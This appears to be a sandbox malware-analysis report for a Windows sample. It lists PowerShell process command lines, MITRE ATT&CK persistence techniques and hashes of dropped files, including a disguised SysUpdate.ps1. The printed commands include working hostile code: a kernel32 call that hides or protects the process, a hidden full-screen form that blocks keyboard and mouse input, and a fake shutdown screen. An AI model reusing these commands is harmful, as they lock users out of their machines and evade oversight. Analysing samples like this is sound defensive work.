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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class Hide { [DllImport("kernel32.dll")] public static extern IntPtr GetCurrentProcess(); [DllImport("kernel32.dll")] public static extern bool SetProcessInformation(IntPtr hProcess, int ProcessInformationClass, IntPtr ProcessInformation, uint ProcessInformationSize); } "@ $ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(4) [System.Runtime.InteropServices.Marshal]::WriteInt32($ptr, 0x1) [Hide]::SetProcessInformation([Hide]::GetCurrentProcess(), 0, $ptr, 4)"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1716
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3352
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Windows.Forms, System.Drawing $f = New-Object System.Windows.Forms.Form $f.FormBorderStyle = 'None' $f.WindowState = 'Maximized' $f.TopMost = $true $f.ControlBox = $false $f.BackColor = 'Black' $f.Opacity = 1.0 $f.ShowInTaskbar = $false $f.KeyPreview = $false $f.Capture = $true $f.Add_KeyDown({ $_.SuppressKeyPress = $true }) $f.Add_MouseClick({ return }) $f.Add_MouseMove({ return }) $f.Add_Resize({ return }) $f.Add_Paint({ $_.Graphics.FillRectangle([System.Drawing.Brushes]::Black, $f.ClientRectangle) }) $f.ShowDialog()"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4764
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Windows.Forms, System.Drawing $f = New-Object System.Windows.Forms.Form $f.FormBorderStyle = 'None' $f.WindowState = 'Maximized' $f.BackColor = 'Black' $f.TopMost = $true $l = New-Object System.Windows.Forms.Label $l.Text = "Shutting down..." $l.ForeColor = 'White' $l.Font = New-Object System.Drawing.Font('Arial', 24) $l.AutoSize = $true $l.Location = New-Object System.Drawing.Point((($f.Width - $l.Width)/2), (($f.Height - $l.Height)/2)) $f.Controls.Add($l) $f.ShowDialog()"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1036
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1
- Size 12KB
- SHA256 1e4388c45e8b07ca77b7e3b59fc1152b6c74668aad15df1e9230489b5ab3b827
- MD5 4c47e1405c6fa862f6cda3b2d2a82469
- SHA1 3966cd1be2209ebceb1a8827cfaa4cac4f357d58
- SHA512 62b47860e2a8dfe89cd7270c12b156532fe7f18771553e75401c47105ca4dc93cf4149cb043d36a165cde5f8bcbfe8445795ffedcd8bf7a6cd8f84e3ffb67c52
- SSDEEP 192:IxpsFtt8sPbKr0wsJThJ1mrLLqmNtoiuVm/1/RxCCWEKM3uCCr597AH14EM1f:IfUt8wKr0n80PVm/vxBWEKAuBr5RAHi
- TLSH T1B54283517A24A266CAF2DF3AD8D7E506DF6F503B11629A0039ACD090BF71166C338BC9
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 3KB
- SHA256 6a3f8c0c8b43b47082e45dab45489cecd3f76701bc938d0daa7505c468e2801f
- MD5 2a07c72d984f94d4ede0db3e80b92623
- SHA1 c335f2c1ef028b8f45e723bd5f15a5b0f4ad1478
- SHA512 91809e8e809007c6e1b0263bc2b2bd077384eeb9cf3bd0f50dc6cd775f7262a73f5140ace2aff15ac7c843d5ef20d446d0dc00da990c98429000b26bd1f5372b
- TLSH T19881CE323275B0D4C8567F07292819D063BF4396EA98AF4CB25C621ED92751BDB122F7
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
- Size 53KB
- SHA256 da32a79a8e04cbafb1c5980b3d6225f4705010df5eb45d464cd5bf6b642d7841
- MD5 93678e82d776686aa54c42b8a98e6cbc
- SHA1 802939dfed99ac74814c4371388b204c5810241d
- SHA512 0b412a1e11c0639d72f6a58c661ecc43da021c010c4d1e66051c5a376ebab287480bbf663345c9bd2a79ec3a35a9788cf04d74d612449f76fe2c87576cd13520
- SSDEEP 1536:XC+jH04tAHkjUpx9SMrxyNhftflJdvYoFi3j39MVvjMlUst+hNOwUp7bNvv+EGa7:XC+jH04tAHkjUpxwMrxyNhftflJdvYoy
- TLSH T102434093E9204D71E1A66F3EF15662227D34394690F8113212DC25EFA983D970B1FAFE
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 8773b448093519f4a49d2711e3c50d5f148222662c76a55785d0ecf22c256eef
- MD5 5f478dbe5a8f91b713111a5369e0c010
- SHA1 81a708b195f3a57c41ee76022bee02182be04d09
- SHA512 e44f3bec1960c0c7450f4266873b28e7a075c394ea8e712eae4e775e8c73d02f66ad7bd935351f0243ea1621aecfdef1a492747cbfe815434af6caff005976ab
- TLSH T1E0219727B39CC921CCC9113A209D9C1032B682C7809ECF9F6BC4D214A47FAD8CB21290
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 a58429fb3b5348bb297e46ab4e848af2a6e8c8bce74f5ce5a0e531352f7e82f3
- MD5 11b36532189b423fbb5b84b6bf4613b0
- SHA1 8fc114903c45e396e4a8c39add43884a7df6777c
- SHA512 f858187f795e1ba4b3c54007decc44caee48140177a54e848e41bfcee1a4486e2f689f96251efaa4cb112f7b00b5eec5254f18ebb084df32eb864c321352321a
- TLSH T164117627F3DC8921CC9A163A509D9C5177B693C7819EDFAF6BC0C205A5BF498CB71290
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 948B
- SHA256 fbcf20d62139b751f16d79de24d9fed9973a53e3d004153b523588bd499042e6
- MD5 a9a2916f231f69efe4ac372a359c1c44
- SHA1 3db48acd708d1b7242df0e1b8da31d6b65cb1d4e
- SHA512 8f97a95aea259c1e68e608e78137f24a552420cf38ce0dfbba7fc1eea41a3a6f383d31739fa6723297023aff623bd6cdbed548aa0d019c4b5afba98a8d55d4f5
- TLSH T1EE116223F38C89A0CC86163A409CAC4572B686CB81AEDFDF3BC0C210E5BF584CB61294
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 948B
- SHA256 a6249b8847b8b76a0dba1f8085a5f25d839d3e4c66b35d5531bb7688a61232bc
- MD5 7c9663eea68b87e7f184e2033911f706
- SHA1 03e71da5acf1d0276da78b973907d34cb5c8af6e
- SHA512 de5fe1952deae6e9179a7046948511e692bdb93913074e7932e956ec4c7ed5f53d3a1aa8969f5db984c90e90953ee981296c7c0ccb44a428ac7d283ca189a12b
- TLSH T134112223F78C89A1CC96163A509DAC5172B686CB81AEDFDF7BC0C210E5BF584CB61294
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ostg0imm.2cn.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH